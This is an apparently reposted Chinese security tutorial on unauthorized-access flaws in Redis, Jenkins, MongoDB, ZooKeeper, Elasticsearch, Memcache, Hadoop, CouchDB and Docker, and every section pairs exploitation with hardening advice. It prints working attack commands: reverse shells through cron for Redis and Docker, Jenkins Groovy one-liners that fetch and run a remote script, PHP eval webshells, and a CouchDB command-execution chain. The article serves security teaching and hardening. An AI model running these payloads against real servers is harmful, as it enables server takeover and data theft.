web未授權訪問漏洞總結——非常全而細致 redis、mongodb、jenkins、zk、es、memcache、hadoop、couchdb、docker


未授權訪問漏洞總結

2017年09月30日
漏洞分析

作者:w2n1ck@安全脈搏

前言

今年5月,比特幣勒索病毒 WannaCry 席卷全球,國內眾多機構部門計算機系統癱瘓。根據之前應急響應的案例分析,以及一些安全報告統計,目前大部分的勒索病毒均利用未授權訪問等通用漏洞進行植入、勒索,尤其是 Redis、MongoDB 等數據庫的未授權訪問漏洞尤其嚴重。參見《【脈搏譯文系列】如何高效的應對勒索軟件》

0x01 介紹

未授權訪問可以理解為需要安全配置或權限認證的地址、授權頁面存在缺陷,導致其他用戶可以直接訪問,從而引發重要權限可被操作、數據庫、網站目錄等敏感信息泄露。

目前主要存在未授權訪問漏洞的有:NFS 服務,Samba 服務,LDAP,Rsync,FTP,GitLab,Jenkins,MongoDB,Redis,ZooKeeper,ElasticSearch,Memcache,CouchDB,Docker,Solr,Hadoop,Dubbo 等,本文主要介紹一些目前比較常用的一些服務的未授權訪問,歡迎大家補充!

0x02 Redis未授權訪問

2.1 漏洞描述

Redis 因配置不當可以未授權訪問。攻擊者無需認證訪問到內部數據,可導致敏感信息泄露,也可以惡意執行 flushall 來清空所有數據。如果 Redis 以 root 身份運行,可以給 root 賬戶寫入 SSH 公鑰文件,直接通過 SSH 登錄受害服務器。

2.2 漏洞利用
1、利用計划任務執行命令反彈shell

在 redis 以 root 權限運行時可以寫 crontab 來執行命令反彈shell

先在自己的服務器上監聽一個端口

nc -lvnp 4444

然后執行命令:

redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

2、寫 ssh-keygen 公鑰登錄服務器

在以下條件下,可以利用此方法

  1. Redis服務使用 root 賬號啟動
  2. 服務器開放了 SSH 服務,而且允許使用密鑰登錄,即可遠程寫入一個公鑰,直接登錄遠程服務器。此方法具體參考:redis配置不當可直接導致服務器被控制
3、獲取 web 服務的 webshell

當 redis 權限不高時,並且服務器開着 web 服務,在 redis 有 web 目錄寫權限時,可以嘗試往 web 路徑寫 webshell。

執行以下命令

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['caidao']);?>"
save

即可將 shell 寫入 web 目錄

2.3 漏洞加固

可以配置 redis.conf 這個文件,在安裝目錄下

1、默認只對本地開放
bind 127.0.0.1

2、添加登陸密碼
requirepass www.secpulse.com

3、在需要對外開放的時候修改默認端口
port 2333

4、最后還可以配合iptables限制開放

0x03 Jenkins 未授權訪問

3.1 漏洞描述

默認情況下 Jenkins 面板中用戶可以選擇執行腳本界面來操作一些系統層命令,攻擊者可通過未授權訪問漏洞或者暴力破解用戶密碼等進腳本執行界面從而獲取服務器權限。

3.2 漏洞利用
1、Jenkins 未授權訪問可執行命令

http://www.secpulse.com:8080/manage
http://www.secpulse.com:8080/script

println "ifconfig -a".execute().text 執行一些系統命令

直接 wget 下載 back.py 反彈 shell

println "wget http://xxx.secpulse.com/tools/back.py -P /tmp/".execute().text
println "python /tmp/back.py 10.1.1.111 8080".execute().text

back.py 並不需要 root 權限

不想反彈試試 Terminal Plugin

2、Jenkins 未授權訪問寫 shell

jenskins 是 java web 項目,我們用 java 的 File 類寫文件

new File("c://temp//secpulse.txt").write("""
1
2
3
""");

新建一個內容為1,2,3(每一行)的 1.txt 到 c 盤的 temp 文件夾,運行如下命令println “powershell dir c:\temp”.execute().text如果寫成功,那么 secpulse.txt 就會在返回結果中!

wget寫webshell

1. println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/secpulse.php".execute().text
2. new File("/var/www/html/secpulse.php").write('<?php @eval($_POST[s3cpu1se]);?>');
3. def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
new File("/var/www/html/secpulse.php").write("$webshell");
4. def execute(cmd) {
def proc = cmd.execute()
proc.waitFor()
}
execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/secpulse.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/secpulse.php' ] )
//參數-n 不要在最后自動換行

Result: 0 表示成功寫入 Result: 1 表示目錄不存在或者權限不足 寫入失敗 Result: 2 表示構造有異常 寫入失敗

具體其他詳細利用方法參考:知其一不知其二之Jenkins Hacking

3.3 漏洞加固

1、禁止把Jenkins直接暴露在公網

2、添加認證,設置強密碼復雜度及賬號鎖定。

0x04 MongoDB未授權訪問

4.1 漏洞描述

開啟 MongoDB 服務時不添加任何參數時,默認是沒有權限驗證的,而且可以遠程訪問數據庫,登錄的用戶可以通過默認端口無需密碼對數據庫進行增、刪、改、查等任意高危操作。

4.2 漏洞利用

4.3 漏洞加固
1、為MongoDB添加認證:

1)MongoDB啟動時添加--auth參數

2)給MongoDB添加用戶:

use admin #使用admin庫

db.addUser("root", "123456") #添加用戶名root密碼123456的用戶

db.auth("root","123456") #驗證下是否添加成功,返回1說明成功

2、禁用HTTP和REST端口

MongoDB 自身帶有一個 HTTP 服務和並支持 REST 接口。在2.6以后這些接口默認是關閉的。mongoDB 默認會使用默認端口監聽web服務,一般不需要通過 web 方式進行遠程管理,建議禁用。修改配置文件或在啟動的時候選擇 –nohttpinterface 參數 nohttpinterface=false

3、限制綁定IP

啟動時加入參數--bind_ip 127.0.0.1

或在/etc/mongodb.conf文件中添加以下內容:bind_ip = 127.0.0.1

0x05 ZooKeeper 未授權訪問

5.1 漏洞描述

Zookeeper 的默認開放端口是2181。Zookeeper 安裝部署之后默認情況下不需要任何身份驗證,造成攻擊者可以遠程利用 Zookeeper,通過服務器收集敏感信息或者在 Zookeeper 集群內進行破壞(比如:kill命令)。攻擊者能夠執行所有只允許由管理員運行的命令。

5.2 漏洞利用

執行以下命令即可遠程獲取該服務器的環境: echo envi | nc ip port

直接連接: ./zkCli.sh -server ip:port

5.3 漏洞加固

1、禁止把 Zookeeper 直接暴露在公網

2、添加訪問控制,根據情況選擇對應方式(認證用戶,用戶名密碼)

3、綁定指定 IP 訪問

0x06 Elasticsearch 未授權訪問

6.1 漏洞描述

Elasticsearch 是一款 java 編寫的企業級搜索服務。越來越多的公司使用 ELK 作為日志分析,啟動此服務默認會開放9200端口,可被非法操作數據

6.2 漏洞利用

漏洞檢測:默認端口9200

相當於一個API,任何人訪問這個地址,就可以調用api,進行數據的增刪改操作。

http://x.x.x.x:9200/_nodes

http://x.x.x.x:9200/_river

6.3 漏洞加固

1、防火牆上設置禁止外網訪問 9200 端口。

2、使用 Nginx 搭建反向代理,通過配置 Nginx 實現對 Elasticsearch 的認證

3、限制IP訪問,綁定固定IP

4、在config/elasticsearch.yml中為 9200 端口設置認證:

http.basic.enabled true #開關,開啟會接管全部HTTP連接
http.basic.user "admin" #賬號
http.basic.password "admin_pw" #密碼
http.basic.ipwhitelist ["localhost", "127.0.0.1"]

0x07 Memcache 未授權訪問

7.1 漏洞描述

Memcached 是一套常用的 key-value 緩存系統,由於它本身沒有權限控制模塊,所以對公網開放的 Memcache 服務很容易被攻擊者掃描發現,攻擊者通過命令交互可直接讀取 Memcached 中的敏感信息。

7.2 漏洞利用

1、登錄機器執行netstat -an |more命令查看端口監聽情況。回顯 0.0.0.0:11211 表示在所有網卡進行監聽,存在 memcached 未授權訪問漏洞。

2、telnet <target> 11211,或nc -vv <target> 11211,提示連接成功表示漏洞存在

7.3 漏洞加固

1、設置 memchached 只允許本地訪問

2、禁止外網訪問 Memcached 11211 端口

3、編譯時加上–enable-sasl,啟用SASL認證

0x08 Hadoop 未授權訪問

8.1 漏洞描述

由於服務器直接在開放了 Hadoop 機器 HDFS 的 50070 web 端口及部分默認服務端口,黑客可以通過命令行操作多個目錄下的數據,如進行刪除,下載,目錄瀏覽甚至命令執行等操作,產生極大的危害。

8.2 漏洞利用

主要 HDFS 和 MapReduce 的 WebUI 對應的服務端口。

其中比較重要的是 DataNode 默認端口 50075 開放的話,攻擊者可以通過 hdsf 提供的 restful api 對 hdfs 存儲數據進行操作。

restful api參考:http://hadoop.apache.org/docs/r1.0.4/webhdfs.html

8.3 漏洞加固

1、如無必要,關閉 Hadoop Web 管理頁面

2、開啟身份驗證,防止未經授權用戶訪問

3、設置“安全組”訪問控制策略,將 Hadoop 默認開放的多個端口對公網全部禁止或限制可信任的 IP 地址才能訪問包括 50070 以及 WebUI 等相關端口,詳細端口列表如下:

a)HDFS

  • NameNode 默認端口 50070

  • DataNode 默認端口 50075

  • httpfs 默認端口14000

  • journalnode 默認端口 8480

b)YARN(JobTracker)

  • ResourceManager 默認端口8088

  • JobTracker 默認端口 50030

  • TaskTracker 默認端口 50060

c)Hue 默認端口 8080

d)YARN(JobTracker)

  • master 默認端口 60010

  • regionserver 默認端口60030

e)hive-server2 默認端口 10000

f)spark-jdbcserver 默認端口 10003

0x09 CouchDB 未授權訪問

9.1 漏洞描述

CouchDB 默認在 5984 端口開放 Restful 的 API 接口,用於數據庫的管理功能。其 HTTP Server 默認開啟時沒有進行驗證,而且綁定在0.0.0.0,所有用戶均可通過 API 訪問導致未授權訪問。任何連接到服務器端口上的人,都可以調用相關 API 對服務器上的數據進行任意的增刪改查,其中通過 API 修改 local.ini 配置文件,可進一步導致執行任意系統命令,獲取服務器權限!

9.2 漏洞利用

新增query_server配置,這里執行ifconfig命令

curl -X PUT 'http://x.x.x.x:5984/_config/query_servers/cmd' -d '"/sbin/ifconfig >/tmp/6666"'

新建一個臨時表,插入一條記錄

curl -X PUT 'http://x.x.x.x:5984/vultest'

curl -X PUT 'http://x.x.x.x:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

調用query_server處理數據

curl -X POST 'http://x.x.x.x:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

當然你也可以直接執行其他命令,下載個其他什么的

9.3 漏洞加固

1、指定CouchDB綁定的IP (需要重啟CouchDB才能生效) 在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改為 127.0.0.1 ,然后保存。注:修改后只有本機才能訪問CouchDB。

2、設置訪問密碼 (需要重啟CouchDB才能生效) 在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密碼

0x010 Docker 未授權訪問

10.1 漏洞描述

Docker Remote API 是一個取代遠程命令行界面(rcli)的REST API。通過 docker client 或者 http 直接請求就可以訪問這個 API,通過這個接口,我們可以新建 container,刪除已有 container,甚至是獲取宿主機的 shell

10.2 漏洞利用

http://192.168.198.130:2375/v1.25/images/json 可以獲取到所有的 images 列表

http://host:2375/containers/json

會返回服務器當前運行的 container 列表,和在 docker CLI 上執行 docker ps 的效果一樣,過 Post 包我們還可以新建、開啟和關閉容器,其他操作比如拉取 image 等操作也都可以通過 API 調用完成。

$ curl http://10.10.10.10:2375/containers/json
[]

docker -H=tcp://10.10.10.10:2375 ps         
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES

Docker remote Api 未授權訪問的攻擊原理與之前的 Redis 未授權訪問漏洞大同小異,都是通過向運行該應用的服務器寫文件,從而拿到服務器的權限,常見的利用方法如下:

1、啟動一個容器,掛載宿主機的/root/目錄,之后將攻擊者的ssh公鑰~/.ssh/id_rsa.pub的內容寫到入宿主機的/root/.ssh/authorized_keys文件中,之后就可以用root賬戶直接登錄了

2、啟動一個容器,掛載宿主機的/etc/目錄,之后將反彈shell的腳本寫入到/etc/crontab中,攻擊者會得到一個反彈的shell,其中反彈shell腳本的樣例如下:

echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab

第2種利用方法也可以掛載 var/spool/cron/目錄,將反彈shell的腳本寫入到/var/spool/cron/root(centos系統)或/var/spool/cron/crontabs/root(ubuntu系統)

10.3 漏洞加固
1、在不必需的情況下,不要啟用 docker 的 remote api 服務,如果必須使用的話,可以采用如下的加固方式:

設置 ACL,僅允許信任的來源 IP 連接;

設置 TLS 認證,官方的文檔為 Protect the Docker daemon socket

2、客戶端連接時需要設置以下環境變量 export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
3、在 docker api 服務器前面加一個代理,例如 nginx,設置 401 認證

附:Python未授權訪問腳本

此腳本未做測試,請根據自身需求,修改測試使用!

參考文章


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM